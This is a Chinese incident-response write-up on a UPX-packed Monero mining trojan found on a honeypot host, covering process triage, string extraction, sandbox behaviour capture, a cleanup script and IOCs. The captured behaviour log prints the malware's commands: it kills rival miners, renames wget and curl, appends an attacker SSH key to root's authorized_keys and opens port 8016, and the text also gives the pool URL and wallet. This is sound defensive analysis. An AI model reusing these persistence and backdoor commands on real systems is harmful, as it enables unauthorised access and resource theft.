应急响应:对加壳挖矿木马的应急处置

百家 作者:锦行科技 2022-01-06 22:22:23


0x00 前言

处置机器:192.168.77.8
发现问题:蜜罐平台发现非用户配置服务运行


对该服务进程进行查看


对蜜罐平台的攻击报警进行查看

在这里可以确认主机已经沦陷,对该服务进行应急处置。


0x01 进程排查

netstat -ano


发现大量的外联IP请求建立连接标志,在正常的服务访问中,SYN_SENT标志的请求是十分少而短暂的,除非是感染了蠕虫等恶意程序,需要不停的扫描存活主机。同时当前设备是不出网的,所以是不可能请求建立连接成功的。

ps -auwx


在这里我们可以看到几个在案发日期执行的进程,通过这里可以看到恶意进程存放的路径(但是这个路径不一定是最初的文件路径)。


异常进程

./work32-deamon
/tmp/xmr
/usr/.work/work32
/bin/bash /tmp/secure.sh
/bin/bash /tmp/auth.sh


0x02 基本的信息提取


在这个路径中保存了两个执行文件,查看文件属性以及做简单的处理,提取执行文件的字符:

文件属性

./work32:     ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped
./work64: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped


字符提取

strings work32 > 1.txt
strings work64 > 2.txt


提取出来的字符串中存在以下说明:

  • 矿池的基本配置文件:

  "pools": [
{
"algo": null,
"coin": null,
"url": "xmr.crypto-pool.fr:6666",
"user": "47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"enabled": true,
"tls": false,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null
}
]


加壳信息:

$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.93 Copyright (C) 1996-2017 the UPX Team. All Rights Reserved. $


这说明木马经过了upx加壳。在不脱壳的前提下,最好的办法就是将木马拖到隔离机上执行,抓行为特征:
在这次的处置中该恶意攻击者没进行痕迹清理。查看历史执行命令,发现木马的执行命令:

/usr/.work/work32 -deamon root 123456


到这里木马的执行条件已经确定了,将该文件拖到隔离机上运行,抓取执行特征。


0x03 特征抓取及木马查杀

挖矿木马执行过程如下所示:

cmd:ps -ef | grep Circle_MI | grep -v grep | awk '{print $2}' | xargs kill -9
exit status 123
cmd:ps -ef | grep kworker34 | grep -v grep | awk '{print $2}' | xargs kill -9
exit status 123
cmd:ps -ef | grep .daemond | grep -v grep | awk '{print $2}' | xargs kill -9
exit status 123
cmd:ps -ef | grep /tmp/thisxxs | grep -v grep | awk '{print $2}' | xargs kill -9
exit status 123
cmd:ps -ef | grep /opt/yilu/work/xig/xig | grep -v grep | awk '{print $2}' | xargs kill -9
exit status 123
cmd:ps -ef | grep /opt/yilu/mservice | grep -v grep | awk '{print $2}' | xargs kill -9
exit status 123
cmd:ps -ef | grep /usr/bin/.sshd | grep -v grep | awk '{print $2}' | xargs kill -9
exit status 123
cmd:ps -ef | grep /usr/bin/bsd-port/getty | grep -v grep | awk '{print $2}' | xargs kill -9
exit status 123
cmd:ps -ef | grep x86_ | grep -v grep | awk '{print $2}' | xargs kill -9
exit status 123
cmd:ps -ef | grep cryptonight | grep -v grep | awk '{print $2}' | xargs kill -9
exit status 123
cmd:ps -ef | grep ddg | grep -v grep | awk '{print $2}' | xargs kill -9
exit status 123
cmd:ps -ef | grep prohash | grep -v grep | awk '{print $2}' | xargs kill -9
exit status 123
cmd:ps -ef | grep monero | grep -v grep | awk '{print $2}' | xargs kill -9
exit status 123
cmd:ps -ef | grep xmr | grep -v grep | awk '{print $2}' | xargs kill -9
exit status 123
cmd:ps -ef | grep miner | grep -v grep | awk '{print $2}' | xargs kill -9
exit status 123
cmd:ps -ef | grep pool. | grep -v grep | awk '{print $2}' | xargs kill -9
exit status 123
cmd:ps -ef | grep tcp: | grep -v grep | awk '{print $2}' | xargs kill -9
exit status 123
cmd:ps -ef | grep stratum | grep -v grep | awk '{print $2}' | xargs kill -9
exit status 123
cmd:killall xmr
exit status 127
cmd:mv /usr/bin/wget /usr/bin/wget1&
cmd:mv /usr/bin/curl /usr/bin/curl1&
/tmp
cmd:chmod +x /tmp/xmr
cmd:/tmp/xmr
cmd:chmod +x /tmp/secure.sh
cmd:/tmp/secure.sh&
cmd:chmod +x /tmp/auth.sh
cmd:/tmp/auth.sh&
cmd:mkdir -p /usr/.work
cmd:\cp -R /root/danger/* /usr/.work/ &
cmd:chmod 700 /root/.ssh/
cmd:echo >> /root/.ssh/authorized_keys
exit status 1
cmd:chmod 600 /root/.ssh/authorized_keys
exit status 1
cmd:echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc3BlbiQaznPT8TScrs9YIzmrpI9Lpa4LtCjB5z0LuQ4o6XwvzomxAixn2F1jaUl175Cxcg3PmUsPOLE+WeWicKqL2YZ46SotjZgnS6JjXpuZVi7V0DSiXu0itlwWDC9m8huBvUBSIsDCsgb9OeG6rlrCyZgTW+qZciK+KZ8rwlFp3CFyxoF2122ueOnl5pAUCy1iHqGun03dMdUxA1d3KnxSZ3NQrYiH69dc8/YhV4SriOW9psc0pv9KeBLF0OXHtEAdbnSlwfk2uTjjBMK0nDidl7wS52Ygi/H4+P+4EXkSzf4Jj4/L6P3c5rLC3/l3RFdo1T7EQ8fH6NsTYJNZ7 root@u911" >> /root/.ssh/authorized_keys
exit status 1
Cannot open file /var/spool/cron/root!
cmd:iptables -I INPUT -p tcp --dport 8016 -j ACCEPT
cmd:iptables -I OUTPUT -p tcp --sport 8016 -j ACCEPT
cmd:iptables -I PREROUTING -t nat -p tcp --dport 8016 -j ACCEPT
cmd:iptables -I POSTROUTING -t nat -p tcp --sport 8016 -j ACCEPT
IP: 192.168.228.158
Mask: 255.255.255.0
ip/CIDR: 192.168.228.158/24


执行流程


查看进程执行


根据上面的资源释放,对释放资源进行分析:

  • 在/usr/.work/路径下的备份文件


  • 在/tmp目录下的一些守护进程脚本以及配置文件

- 矿池的配置文件:config.json
- 封禁爆破ssh的IP脚本文件:auth.sh、secure.sh


特征代码:

- 门罗币挖矿程序:xmr


计划任务,主要看两个路径下的

文件:/etc/crontab

- 文件路径:/var/spool/cron/root目录下的文件,在隔离机上创建失败。


对应的查杀脚本(针对work32的处置,work64同理):

#!/bin/bash
ps -ef | grep '/bin/bash /tmp' | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep 'xmr' | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep 'work32' | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep 'work64' | grep -v grep | awk '{print $2}' | xargs kill -9
rm -rf /usr/.work
rm -f /tmp/xmr
rm -f /tmp/secure.sh
rm -f /tmp/auth.sh
rm -f /tmp/xmr
rm -f /tmp/config.json
rm -rf /var/spool/cron/*
echo > /etc/crontab
mv /usr/bin/wget1 /usr/bin/wget
mv /usr/bin/curl1 /usr/bin/curl
iptables -I INPUT -p tcp --dport 8016 -j DROP
iptables -I OUTPUT -p tcp --sport 8016 -j DROP
iptables -I PREROUTING -t nat -p tcp --dport 8016 -j DROP
iptables -I POSTROUTING -t nat -p tcp --sport 8016 -j DROP
echo > /root/.ssh/authorized_keys


运行脚本,处置完成。

经过观察,挖矿程序不在启动,处置完成。


0x04 木马总结

(针对样本work32,work64同理)


1.行为特征

虽然对木马加壳了,但是对处置和分析上并没有增加难度,可以通过行为特征和流量分析对木马进行分析。


2.IOC特征

work32

文件名称:
work32
SHA2567f28b2791ad94a202eea5e4c91d47cdeadca4723723427af574519f8aedbf15e
木马家族:Multiverze
矿池链接:xmr.crypto-pool.fr:6666
钱包账号:

47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV


推 荐 阅 读




关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接